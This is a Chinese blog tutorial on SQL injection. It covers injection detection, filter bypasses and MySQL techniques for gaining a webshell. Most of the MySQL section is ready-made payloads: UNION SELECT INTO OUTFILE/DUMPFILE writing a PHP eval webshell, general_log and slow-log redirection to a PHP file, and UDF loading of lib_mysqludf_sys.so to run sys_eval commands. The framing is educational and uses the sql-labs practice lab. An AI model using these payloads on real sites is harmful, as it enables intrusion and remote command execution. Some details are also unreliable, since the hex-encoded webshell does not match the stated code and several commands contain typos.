基础
什么是Sql注入漏洞
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
Sql注入漏洞的危害
- 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
- 绕过认证,列如绕过验证登录网站后台。
- 注入可以借助数据库的存储过程进行提权等操作
各种数据库
关系型数据库
Mysql
首当其冲我们接触最多的就是Mysql数据库了,不管是打CTF过程中还是实战过程中
它是以“客户/服务器”模式实现的,是一个多用户、多线程的小型数据库服务器。而且MySQL是开源数据的,任何人都可以获得该数据库的源代码并修正MySQL的缺陷。MySQL具有跨平台的特性,它不仅可以在Windows平台上使用,还可以在UNIX、Linux和MacOS等平台上使用。相对其他数据库而言,MySQL的使用更加方便、快捷,而且MySQL是免费的,运营成本低
SqlServer
SQLServer是由微软公司开发的一种关系型据库管理系统,它已广泛用于电子商务、银行、保险、电力等行业。SQLServer提供了对XML和Internet标准的支持,具有强大的、灵活的、基于Web的应用程序管理功能。而且界面友好、易于操作,深受广大用户的喜爱
Oracle
Oracle数据库管理系统是由甲骨文(Oracle)公司开发的,在数据库领域一直处于领先地位。目前,Oracle数据库覆盖了大、中、小型计算机等几十种计算机型,成为世界上使用最广泛的关系型数据管理系统(由二维表及其之间的关系组成的一个数据库)之一
DB2
DB2是IBM一种分布式数据库解决方案。说简单点:DB2就是IBM开发的一种大型关系型数据库平台。它支持多用户或应用程序在同一条SQL 语句中查询不同database甚至不同DBMS中的数据。DB2数据库有如下一些版本:(比如DB2 for Unix,DB2 for Windows,DB2 for AS/400,DB2 for OS/390等
PostgreSQL
PostgreSQL 是一款富有特色的自由数据库管理系统,甚至可以说是最强大的自由软件数据库管理系统。该数据库管理系统支持了目前世界上最丰富的数据类型。是自由软件数据库管理系统中唯一支持事务、子查询、多版本并行控制系统、数据完整性检查等特性的自由软件
Access
Microsoft Access是Microsoft的数据库管理系统 (DBMS),它将关系型Microsoft Jet数据库引擎与图形用户界面和软件开发工具结合在一起
Sqlite
SQLite,是一款轻型的数据库,是遵守ACID的关系型数据库管理系统
非关系型数据库
MongoDB
MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引
Redis
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)
未完...
正式注入姿势
既然不同的数据库有着不同的语法,那我们就分开认识不同数据的注入方式,进行针对性的总结
共性
注入位置的判断
通常可能存在的位置在于
- GET传参
- POST传参
- HTTP头(Cookie, XFF, Host等等)
判断是否存在注入漏洞的常用手段都是通过添加'
或者"
对服务器的回显进行判断
数字型注入
这里可以进行浮点数绕过(如果有限制)
类似于存在sql语句为
select * from user where id = $_GET['id'];
判断方式
- 首先在GET传参中id传入
1'
, sql语句就成了
select * from user where id = 1';
语句错误,将会报错
2. 之后传入1 and 1 = 1
, sql语句成了
select * from user where id = 1 and 1 = 1;
两边都是正确的,将会返回正确的页面
3. 之后我们再次传入1 and 1 = 2
, sql语句成了
select * from user where id = 1 and 1 = 2;
因为后面是错误的加上使用了and逻辑词,将会报错
如何满足以上的方式就可以判断是存在数字型注入的
字符型注入
类似于后端sql语句为(当然同样可以使用双引号包裹传入的值,那么后面就需要使用双引号处理)
select * from user where username = '$_GET['username']';
判断方式
- 首先在GET传参中username传入
admin'
, sql语句就成了
select * from user where username = 'admin'';
存在了三个单引号,数据库不能处理,将会报错
2. 之后传入admin' and 1 = 1
, sql语句成了
select * from user where username = 'admin' and 1 = 1'
同样不能识别,我们需要使用注释符使得后面的单引号失效
select * from user where username = 'admin' and 1 = 1#';
这样前后都正确,将会返回正确的页面
3. 同样我们可以传入admin' and '1' = '1
, sql语句成了
select * from user where username = 'admin' and '1' = '1';
同样可以返回正确的页面,这里主要是使用的单引号进行处理
4. 如果传入admin' and 1 = 2#
因为后面错误将会报错
满足以上方式我们就可以确定是单引号闭合的字符型注入
搜索型注入
- 搜索
'
,如果出错,大概率具有,之后再搜索%
,正确,更大概率具有 - 其余特殊字符
& [ ] % @ \$
- 首先使用
222%'and 1=1 and '%'='
, 之后搜索222%' and 1=2 and '%'='
, 比较差异
Bypass
如果存在防注入手法怎么办,我们同样可以采用其他方式判断
- 使用or逻辑判断
在后面添加or 2>1``or 2\<1
会发现显示的页面不一样,就存在注入
当or后面为true时,返回后面的结果,如果or后面的值为false时,返回前面的结果
- 使用xor逻辑判断
和or使用差不多 - 使用url编码绕过
and 1=1 => %41%4E%44%20%%31%3D%31 - 使用
-0 -1
进行对比观察
Mysql
基础
```
show databases; //显示数据库
use dbname; //使用dbname数据库
show tables; //显示表名
select * from table_name; //查询数据
version() //数据库版本
database() //数据库名
user() //数据库用户
@@version_compile_os //操作系统
@@datadir //数据库路径
group_concat() concat_ws()
ascii() length() substr() substring()
```
- 在Mysql 5.0以上版本中,存在一个自带数据库名为
information_schema
它是一个存储记录有所有数据库名、表名、列名的数据库,也相当于可以通过查询它来获取指定数据库下面的表名或列名信息
information_schema:MySQL默认表,记录所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
information_schema.schemata:记录所有数据库名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
getshell
use into outfile or dumpfile
区别
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可以时16进制
*在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在\n等字符,会自动转义成\n,也就是会多加一个*
outfile函数可以导出多行,而dumpfile只能导出一行数据;outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
而使用dumpfile时,一行的末尾不会换行且只能导出部分数据(这里比较数据比较少,没有体现出来);但dumpfile不会自动对文件内容进行转义,而是原意写入(这就是为什么我们平时UDF提权时使用dumpfile来写入的原因)
联合查询写shell
这里使用sql-labs-Less-7为例子
按照流程走着,输入单引号,报错,存在注入点
寻找闭合语句,尝试到?id=1'))--+
返回正确页面
猜测后端的查询sql语句为
select * from user where id = (('$_GET['id']'));
之后通过order by语句得到字段数为 3
因为只有正确和错误两个页面,我们尝试使用into outfile写入webshell
假设我们知道了web站点的web服务绝对路径为/var/www/html/
,直接在其下写入shell
一句话木马:\<?php @eval(\$_POST['cmd']) ?>
, 将其进行十六进制转码
php -r "echo bin2hex("<?php @eval($_POST['cmd']) ?>");"
//0x3c3f70687020406576616c285b27636d64275d29203f3e
使用union select写入shell
-1')) union select 1,2,0x3c3f70687020406576616c285b27636d64275d29203f3e into outfile '/var/www/html/outfile.php'--+
-1')) union select 1,2,'<?php @eval($_POST[1])?>' into dumpfile '/var/www/html/outfile.php'--+
条件
当然不是想写就写的啦,还是需要条件的
- secure_file_priv的值没有具体值,或者是我们希望写的目录,如果是NULL就不行
- 当然需要具有写的权限啊
- 知道对方网站绝对路径
堆叠注入写shell
直接通过堆叠注入设置日志的存放位置,之后将会在日志文件中出现恶意payload,
- set global general_log = "ON";
- set global general_log_file='/var/www/html/log.php';
select '\<?php eval(\$_POST[cmd]);?>';
- getshell
在总结getshell方式的时候,突然发现了还有慢日志getshell的方式,记录一下
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中
- 查看服务器默认时间值
show global variables like '%long_query_time%'
- 打开慢日志服务
set global slow_query_log=on
- 设置慢日志路径
set golbal show_query_log_file='/var/www/html/shell.php'
select '\<?php @eval(\$_POST[1]);?>' or sleep(20)
sqlmap's os-shell
大概贴一下
1、连接Mysql数据库并且获取数据库版本。
2、检测是否为数据库dba。
3、检测sys_exec
和sys_eval
2个函数是否已经被创建了。
4、上传dll文件到对应目录。
5、用户退出时默认删除创建的sys_exec
和sys_eval
2个函数
UDF getshell
自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用
条件
- secure_file_priv为空或者在plugin目录上
- 具有对应得文件操作权限
利用
- 获取exp.so文件
使用sqlmap内置的文件/data/udf/mysql/
文件夹下
sqlmap中的udf文件为防止误杀默认是经过异或编码的,需先使用sqlmap自带的脚本解码
python extra/cloak/cloak.py -d -i data/udf/mysql/linux/64/lib_mysqludf_sys.so_
之后得到了对应的so文件
- 获取对应的hex值
php -r "$data=file_get_contents('lib_mysqludf_sys.so');echo bin2hex($data);"
- dumpfile写入
.so
文件
select 0x7F.. into dumpfile '/usr/lib64/mysql/plugn/exp.so';
- 创建自定义函数
create function sys_eval returns string soname 'exp.so';
- 执行命令
sys_eval('id');
总结
这里为这个系列总结开了一个小头,并总结了一下有关于Mysql getshell一些常见的方法,后文将会接着这个思路扩展到各个数据库的利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论